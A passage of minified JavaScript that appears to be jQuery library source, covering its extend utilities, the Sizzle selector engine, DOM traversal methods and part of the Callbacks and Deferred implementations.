e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(ce.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||ce.isPlainObject(n)?n:{},i=!1,a[t]=ce.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},ce.extend({expando:"jQuery"+(t+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==i.call(e))&&(!(t=r(e))||"function"==typeof(n=ue.call(t,"constructor")&&t.constructor)&&o.call(n)===a)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){m(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(c(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},text:function(e){var t,n="",r=0,i=e.nodeType;if(!i)while(t=e[r++])n+=ce.text(t);return 1===i||11===i?e.textContent:9===i?e.documentElement.textContent:3===i||4===i?e.nodeValue:n},makeArray:function(e,t){var n=t||[];return null!=e&&(c(Object(e))?ce.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:se.call(t,e,n)},isXMLDoc:function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!l.test(t||n&&n.nodeName||"HTML")},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(c(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:le}),"function"==typeof Symbol&&(ce.fn[Symbol.iterator]=oe[Symbol.iterator]),ce.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var pe=oe.pop,de=oe.sort,he=oe.splice,ge="[\\x20\\t\\r\\n\\f]",ve=new RegExp("^"+ge+"+|((?:^|[^\\\\])(?:\\\\.)*)"+ge+"+$","g");ce.contains=function(e,t){var n=t&&t.parentNode;return e===n||!(!n||1!==n.nodeType||!(e.contains?e.contains(n):e.compareDocumentPosition&&16&e.compareDocumentPosition(n)))};var f=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;function p(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e}ce.escapeSelector=function(e){return(e+"").replace(f,p)};var ye=C,me=s;!function(){var e,b,w,o,a,T,r,C,d,i,k=me,S=ce.expando,E=0,n=0,s=W(),c=W(),u=W(),h=W(),l=function(e,t){return e===t&&(a=!0),0},f="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",t="(?:\\\\[\\da-fA-F]{1,6}"+ge+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",p="\\["+ge+"*("+t+")(?:"+ge+"*([*^$|!~]?=)"+ge+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+t+"))|)"+ge+"*\\]",g=":("+t+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+p+")*)|.*)\\)|)",v=new RegExp(ge+"+","g"),y=new RegExp("^"+ge+"*,"+ge+"*"),m=new RegExp("^"+ge+"*([>+~]|"+ge+")"+ge+"*"),x=new RegExp(ge+"|>"),j=new RegExp(g),A=new RegExp("^"+t+"$"),D={ID:new RegExp("^#("+t+")"),CLASS:new RegExp("^\\.("+t+")"),TAG:new RegExp("^("+t+"|[*])"),ATTR:new RegExp("^"+p),PSEUDO:new RegExp("^"+g),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+ge+"*(even|odd|(([+-]|)(\\d*)n|)"+ge+"*(?:([+-]|)"+ge+"*(\\d+)|))"+ge+"*\\)|)","i"),bool:new RegExp("^(?:"+f+")$","i"),needsContext:new RegExp("^"+ge+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+ge+"*((?:-\\d)?\\d*)"+ge+"*\\)|)(?=[^-]|$)","i")},N=/^(?:input|select|textarea|button)$/i,q=/^h\d$/i,L=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,H=/[+~]/,O=new RegExp("\\\\[\\da-fA-F]{1,6}"+ge+"?|\\\\([^\\r\\n\\f])","g"),P=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},M=function(){V()},R=J(function(e){return!0===e.disabled&&fe(e,"fieldset")},{dir:"parentNode",next:"legend"});try{k.apply(oe=ae.call(ye.childNodes),ye.childNodes),oe[ye.childNodes.length].nodeType}catch(e){k={apply:function(e,t){me.apply(e,ae.call(t))},call:function(e){me.apply(e,ae.call(arguments,1))}}}function I(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(V(e),e=e||T,C)){if(11!==p&&(u=L.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return k.call(n,a),n}else if(f&&(a=f.getElementById(i))&&I.contains(e,a)&&a.id===i)return k.call(n,a),n}else{if(u[2])return k.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&e.getElementsByClassName)return k.apply(n,e.getElementsByClassName(i)),n}if(!(h[t+" "]||d&&d.test(t))){if(c=t,f=e,1===p&&(x.test(t)||m.test(t))){(f=H.test(t)&&U(e.parentNode)||e)==e&&le.scope||((s=e.getAttribute("id"))?s=ce.escapeSelector(s):e.setAttribute("id",s=S)),o=(l=Y(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+Q(l[o]);c=l.join(",")}try{return k.apply(n,f.querySelectorAll(c)),n}catch(e){h(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return re(t.replace(ve,"$1"),e,n,r)}function W(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function F(e){return e[S]=!0,e}function $(e){var t=T.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function B(t){return function(e){return fe(e,"input")&&e.type===t}}function _(t){return function(e){return(fe(e,"input")||fe(e,"button"))&&e.type===t}}function z(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&R(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function X(a){return F(function(o){return o=+o,F(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function U(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}function V(e){var t,n=e?e.ownerDocument||e:ye;return n!=T&&9===n.nodeType&&n.documentElement&&(r=(T=n).documentElement,C=!ce.isXMLDoc(T),i=r.matches||r.webkitMatchesSelector||r.msMatchesSelector,r.msMatchesSelector&&ye!=T&&(t=T.defaultView)&&t.top!==t&&t.addEventListener("unload",M),le.getById=$(function(e){return r.appendChild(e).id=ce.expando,!T.getElementsByName||!T.getElementsByName(ce.expando).length}),le.disconnectedMatch=$(function(e){return i.call(e,"*")}),le.scope=$(function(){return T.querySelectorAll(":scope")}),le.cssHas=$(function(){try{return T.querySelector(":has(*,:jqfake)"),!1}catch(e){return!0}}),le.getById?(b.filter.ID=function(e){var t=e.replace(O,P);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&C){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(O,P);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&C){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):t.querySelectorAll(e)},b.find.CLASS=function(e,t){if("undefined"!=typeof t.getElementsByClassName&&C)return t.getElementsByClassName(e)},d=[],$(function(e){var t;r.appendChild(e).innerHTML="<a id='"+S+"' href='' disabled='disabled'></a><select id='"+S+"-\r\\' disabled='disabled'><option selected=''></option></select>",e.querySelectorAll("[selected]").length||d.push("\\["+ge+"*(?:value|"+f+")"),e.querySelectorAll("[id~="+S+"-]").length||d.push("~="),e.querySelectorAll("a#"+S+"+*").length||d.push(".#.+[+~]"),e.querySelectorAll(":checked").length||d.push(":checked"),(t=T.createElement("input")).setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),r.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&d.push(":enabled",":disabled"),(t=T.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||d.push("\\["+ge+"*name"+ge+"*="+ge+"*(?:''|\"\")")}),le.cssHas||d.push(":has"),d=d.length&&new RegExp(d.join("|")),l=function(e,t){if(e===t)return a=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!le.sortDetached&&t.compareDocumentPosition(e)===n?e===T||e.ownerDocument==ye&&I.contains(ye,e)?-1:t===T||t.ownerDocument==ye&&I.contains(ye,t)?1:o?se.call(o,e)-se.call(o,t):0:4&n?-1:1)}),T}for(e in I.matches=function(e,t){return I(e,null,null,t)},I.matchesSelector=function(e,t){if(V(e),C&&!h[t+" "]&&(!d||!d.test(t)))try{var n=i.call(e,t);if(n||le.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){h(t,!0)}return 0<I(t,T,null,[e]).length},I.contains=function(e,t){return(e.ownerDocument||e)!=T&&V(e),ce.contains(e,t)},I.attr=function(e,t){(e.ownerDocument||e)!=T&&V(e);var n=b.attrHandle[t.toLowerCase()],r=n&&ue.call(b.attrHandle,t.toLowerCase())?n(e,t,!C):void 0;return void 0!==r?r:e.getAttribute(t)},I.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},ce.uniqueSort=function(e){var t,n=[],r=0,i=0;if(a=!le.sortStable,o=!le.sortStable&&ae.call(e,0),de.call(e,l),a){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)he.call(e,n[r],1)}return o=null,e},ce.fn.uniqueSort=function(){return this.pushStack(ce.uniqueSort(ae.apply(this)))},(b=ce.expr={cacheLength:50,createPseudo:F,match:D,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(O,P),e[3]=(e[3]||e[4]||e[5]||"").replace(O,P),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||I.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&I.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return D.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&j.test(n)&&(t=Y(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(O,P).toLowerCase();return"*"===e?function(){return!0}:function(e){return fe(e,t)}},CLASS:function(e){var t=s[e+" "];return t||(t=new RegExp("(^|"+ge+")"+e+"("+ge+"|$)"))&&s(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=I.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1<t.indexOf(i):"$="===r?i&&t.slice(-i.length)===i:"~="===r?-1<(" "+t.replace(v," ")+" ").indexOf(i):"|="===r&&(t===i||t.slice(0,i.length+1)===i+"-"))}},CHILD:function(d,e,t,h,g){var v="nth"!==d.slice(0,3),y="last"!==d.slice(-4),m="of-type"===e;return 1===h&&0===g?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u=v!==y?"nextSibling":"previousSibling",l=e.parentNode,c=m&&e.nodeName.toLowerCase(),f=!n&&!m,p=!1;if(l){if(v){while(u){o=e;while(o=o[u])if(m?fe(o,c):1===o.nodeType)return!1;s=u="only"===d&&!s&&"nextSibling"}return!0}if(s=[y?l.firstChild:l.lastChild],y&&f){p=(a=(r=(i=l[S]||(l[S]={}))[d]||[])[0]===E&&r[1])&&r[2],o=a&&l.childNodes[a];while(o=++a&&o&&o[u]||(p=a=0)||s.pop())if(1===o.nodeType&&++p&&o===e){i[d]=[E,a,p];break}}else if(f&&(p=a=(r=(i=e[S]||(e[S]={}))[d]||[])[0]===E&&r[1]),!1===p)while(o=++a&&o&&o[u]||(p=a=0)||s.pop())if((m?fe(o,c):1===o.nodeType)&&++p&&(f&&((i=o[S]||(o[S]={}))[d]=[E,p]),o===e))break;return(p-=g)===h||p%h==0&&0<=p/h}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||I.error("unsupported pseudo: "+e);return a[S]?a(o):1<a.length?(t=[e,e,"",o],b.setFilters.hasOwnProperty(e.toLowerCase())?F(function(e,t){var n,r=a(e,o),i=r.length;while(i--)e[n=se.call(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:F(function(e){var r=[],i=[],s=ne(e.replace(ve,"$1"));return s[S]?F(function(e,t,n,r){var i,o=s(e,null,r,[]),a=e.length;while(a--)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:F(function(t){return function(e){return 0<I(t,e).length}}),contains:F(function(t){return t=t.replace(O,P),function(e){return-1<(e.textContent||ce.text(e)).indexOf(t)}}),lang:F(function(n){return A.test(n||"")||I.error("unsupported lang: "+n),n=n.replace(O,P).toLowerCase(),function(e){var t;do{if(t=C?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=ie.location&&ie.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===r},focus:function(e){return e===function(){try{return T.activeElement}catch(e){}}()&&T.hasFocus()&&!!(e.type||e.href||~e.tabIndex)},enabled:z(!1),disabled:z(!0),checked:function(e){return fe(e,"input")&&!!e.checked||fe(e,"option")&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return q.test(e.nodeName)},input:function(e){return N.test(e.nodeName)},button:function(e){return fe(e,"input")&&"button"===e.type||fe(e,"button")},text:function(e){var t;return fe(e,"input")&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:X(function(){return[0]}),last:X(function(e,t){return[t-1]}),eq:X(function(e,t,n){return[n<0?n+t:n]}),even:X(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:X(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:X(function(e,t,n){var r;for(r=n<0?n+t:t<n?t:n;0<=--r;)e.push(r);return e}),gt:X(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=B(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=_(e);function G(){}function Y(e,t){var n,r,i,o,a,s,u,l=c[e+" "];if(l)return t?0:l.slice(0);a=e,s=[],u=b.preFilter;while(a){for(o in n&&!(r=y.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=m.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace(ve," ")}),a=a.slice(n.length)),b.filter)!(r=D[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?I.error(e):c(e,s).slice(0)}function Q(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function J(a,e,t){var s=e.dir,u=e.next,l=u||s,c=t&&"parentNode"===l,f=n++;return e.first?function(e,t,n){while(e=e[s])if(1===e.nodeType||c)return a(e,t,n);return!1}:function(e,t,n){var r,i,o=[E,f];if(n){while(e=e[s])if((1===e.nodeType||c)&&a(e,t,n))return!0}else while(e=e[s])if(1===e.nodeType||c)if(i=e[S]||(e[S]={}),u&&fe(e,u))e=e[s]||e;else{if((r=i[l])&&r[0]===E&&r[1]===f)return o[2]=r[2];if((i[l]=o)[2]=a(e,t,n))return!0}return!1}}function K(i){return 1<i.length?function(e,t,n){var r=i.length;while(r--)if(!i[r](e,t,n))return!1;return!0}:i[0]}function Z(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function ee(d,h,g,v,y,e){return v&&!v[S]&&(v=ee(v)),y&&!y[S]&&(y=ee(y,e)),F(function(e,t,n,r){var i,o,a,s,u=[],l=[],c=t.length,f=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)I(e,t[r],n);return n}(h||"*",n.nodeType?[n]:n,[]),p=!d||!e&&h?f:Z(f,u,d,n,r);if(g?g(p,s=y||(e?d:c||v)?[]:t,n,r):s=p,v){i=Z(s,l),v(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(s[l[o]]=!(p[l[o]]=a))}if(e){if(y||d){if(y){i=[],o=s.length;while(o--)(a=s[o])&&i.push(p[o]=a);y(null,s=[],i,r)}o=s.length;while(o--)(a=s[o])&&-1<(i=y?se.call(e,a):u[o])&&(e[i]=!(t[i]=a))}}else s=Z(s===t?s.splice(c,s.length):s),y?y(null,t,s,r):k.apply(t,s)})}function te(e){for(var i,t,n,r=e.length,o=b.relative[e[0].type],a=o||b.relative[" "],s=o?1:0,u=J(function(e){return e===i},a,!0),l=J(function(e){return-1<se.call(i,e)},a,!0),c=[function(e,t,n){var r=!o&&(n||t!=w)||((i=t).nodeType?u(e,t,n):l(e,t,n));return i=null,r}];s<r;s++)if(t=b.relative[e[s].type])c=[J(K(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[S]){for(n=++s;n<r;n++)if(b.relative[e[n].type])break;return ee(1<s&&K(c),1<s&&Q(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(ve,"$1"),t,s<n&&te(e.slice(s,n)),n<r&&te(e=e.slice(n)),n<r&&Q(e))}c.push(t)}return K(c)}function ne(e,t){var n,v,y,m,x,r,i=[],o=[],a=u[e+" "];if(!a){t||(t=Y(e)),n=t.length;while(n--)(a=te(t[n]))[S]?i.push(a):o.push(a);(a=u(e,(v=o,m=0<(y=i).length,x=0<v.length,r=function(e,t,n,r,i){var o,a,s,u=0,l="0",c=e&&[],f=[],p=w,d=e||x&&b.find.TAG("*",i),h=E+=null==p?1:Math.random()||.1,g=d.length;for(i&&(w=t==T||t||i);l!==g&&null!=(o=d[l]);l++){if(x&&o){a=0,t||o.ownerDocument==T||(V(o),n=!C);while(s=v[a++])if(s(o,t||T,n)){k.call(r,o);break}i&&(E=h)}m&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,m&&l!==u){a=0;while(s=y[a++])s(c,f,t,n);if(e){if(0<u)while(l--)c[l]||f[l]||(f[l]=pe.call(r));f=Z(f)}k.apply(r,f),i&&!e&&0<f.length&&1<u+y.length&&ce.uniqueSort(r)}return i&&(E=h,w=p),c},m?F(r):r))).selector=e}return a}function re(e,t,n,r){var i,o,a,s,u,l="function"==typeof e&&e,c=!r&&Y(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&"ID"===(a=o[0]).type&&9===t.nodeType&&C&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(O,P),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}i=D.needsContext.test(e)?0:o.length;while(i--){if(a=o[i],b.relative[s=a.type])break;if((u=b.find[s])&&(r=u(a.matches[0].replace(O,P),H.test(o[0].type)&&U(t.parentNode)||t))){if(o.splice(i,1),!(e=r.length&&Q(o)))return k.apply(n,r),n;break}}}return(l||ne(e,c))(r,t,!C,n,!t||H.test(e)&&U(t.parentNode)||t),n}G.prototype=b.filters=b.pseudos,b.setFilters=new G,le.sortStable=S.split("").sort(l).join("")===S,V(),le.sortDetached=$(function(e){return 1&e.compareDocumentPosition(T.createElement("fieldset"))}),ce.find=I,ce.expr[":"]=ce.expr.pseudos,ce.unique=ce.uniqueSort,I.compile=ne,I.select=re,I.setDocument=V,I.tokenize=Y,I.escape=ce.escapeSelector,I.getText=ce.text,I.isXML=ce.isXMLDoc,I.selectors=ce.expr,I.support=ce.support,I.uniqueSort=ce.uniqueSort}();var d=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&ce(e).is(n))break;r.push(e)}return r},h=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},b=ce.expr.match.needsContext,w=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function T(e,n,r){return v(n)?ce.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?ce.grep(e,function(e){return e===n!==r}):"string"!=typeof n?ce.grep(e,function(e){return-1<se.call(n,e)!==r}):ce.filter(n,e,r)}ce.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?ce.find.matchesSelector(r,e)?[r]:[]:ce.find.matches(e,ce.grep(t,function(e){return 1===e.nodeType}))},ce.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(ce(e).filter(function(){for(t=0;t<r;t++)if(ce.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)ce.find(e,i[t],n);return 1<r?ce.uniqueSort(n):n},filter:function(e){return this.pushStack(T(this,e||[],!1))},not:function(e){return this.pushStack(T(this,e||[],!0))},is:function(e){return!!T(this,"string"==typeof e&&b.test(e)?ce(e):e||[],!1).length}});var k,S=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(ce.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||k,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:S.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof ce?t[0]:t,ce.merge(this,ce.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:C,!0)),w.test(r[1])&&ce.isPlainObject(t))for(r in t)v(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=C.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):v(e)?void 0!==n.ready?n.ready(e):e(ce):ce.makeArray(e,this)}).prototype=ce.fn,k=ce(C);var E=/^(?:parents|prev(?:Until|All))/,j={children:!0,contents:!0,next:!0,prev:!0};function A(e,t){while((e=e[t])&&1!==e.nodeType);return e}ce.fn.extend({has:function(e){var t=ce(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(ce.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&ce(e);if(!b.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&ce.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?ce.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?se.call(ce(e),this[0]):se.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(ce.uniqueSort(ce.merge(this.get(),ce(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),ce.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return d(e,"parentNode")},parentsUntil:function(e,t,n){return d(e,"parentNode",n)},next:function(e){return A(e,"nextSibling")},prev:function(e){return A(e,"previousSibling")},nextAll:function(e){return d(e,"nextSibling")},prevAll:function(e){return d(e,"previousSibling")},nextUntil:function(e,t,n){return d(e,"nextSibling",n)},prevUntil:function(e,t,n){return d(e,"previousSibling",n)},siblings:function(e){return h((e.parentNode||{}).firstChild,e)},children:function(e){return h(e.firstChild)},contents:function(e){return null!=e.contentDocument&&r(e.contentDocument)?e.contentDocument:(fe(e,"template")&&(e=e.content||e),ce.merge([],e.childNodes))}},function(r,i){ce.fn[r]=function(e,t){var n=ce.map(this,i,e);return"Until"!==r.slice(-5)&&(t=e),t&&"string"==typeof t&&(n=ce.filter(t,n)),1<this.length&&(j[r]||ce.uniqueSort(n),E.test(r)&&n.reverse()),this.pushStack(n)}});var D=/[^\x20\t\r\n\f]+/g;function N(e){return e}function q(e){throw e}function L(e,t,n,r){var i;try{e&&v(i=e.promise)?i.call(e).done(t).fail(n):e&&v(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}ce.Callbacks=function(r){var e,n;r="string"==typeof r?(e=r,n={},ce.each(e.match(D)||[],function(e,t){n[t]=!0}),n):ce.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=a||r.once,o=i=!0;u.length;l=-1){t=u.shift();while(++l<s.length)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1)}r.memory||(t=!1),i=!1,a&&(s=t?[]:"")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){ce.each(e,function(e,t){v(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&"string"!==x(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return ce.each(arguments,function(e,t){var n;while(-1<(n=ce.inArray(t,s,n)))s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<ce.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return a=u=[],s=t="",this},disabled:function(){return!s},lock:function(){return a=u=[],t||i||(s=t=""),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},ce.extend({Deferred:function(e){var o=[["notify","progress",ce.Callbacks("memory"),ce.Callbacks("memory"),2],["resolve","done",ce.Callbacks("once memory"),ce.Callbacks("once memory"),0,"resolved"],["reject","fail",ce.Callbacks("once memory"),ce.Callbacks("once memory"),1,"rejected"]],i="pending",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},"catch":function(e){return a.then(null,e)},pipe:function(){var i=arguments;return ce.Deferred(function(r){ce.each(o,function(e,t){var n=v(i[t[4]])&&i[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&v(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+"With"](this,n?[e]:arguments)})}),i=null}).promise()},then:function(t,n,r){var u=0;function l(i,o,a,s){return function(){var n=this,r=arguments,e=function(){var e,t;if(!(i<u)){if((e=a.apply(n,r))===o.promise())throw new TypeError("Thenable self-resolution");t=e&&("object"==typeof e||"function"==typeof e)&&e.then,v(t)?s?t.call(e,l(u,o,N,s),l(u,o,q,s)):(u++,t.call(e,l(u,o,N,s),l(u,o,q,s),l(u,o,N,o.notifyWith))):(a!==N&&(n=void 0,r=[e]),(s||o.resolveWith)(n,r))}},t=s?e:function(){try{e()}catch(e){ce.Deferred.exceptionHook&&ce.Deferred.exceptionHook(e,t.error),u<=i+1&&(a!==q&&(n=void 0,r=[e]),o.rejectWith(n,r))}};i?t():(ce.Deferred.getErrorHook?t.error=ce.Deferred.getErrorHook():ce.Deferred.getStackHook&&(t.error=ce.Deferred.getStackHook()),ie.setTimeout(t))}}return ce.Deferred(function(e){o[0][3].add(l(0,e,v(r)?r:N,e.notifyWith)),o[1][3].add(l(0,e,v(t)?t:N)),o[2][3].add(l(0,e,v(n)?n:q))}).promise()},promise:function(e){return null!=e?ce.extend(e,a):a}},s={};return ce.each(o,function(e,t){var 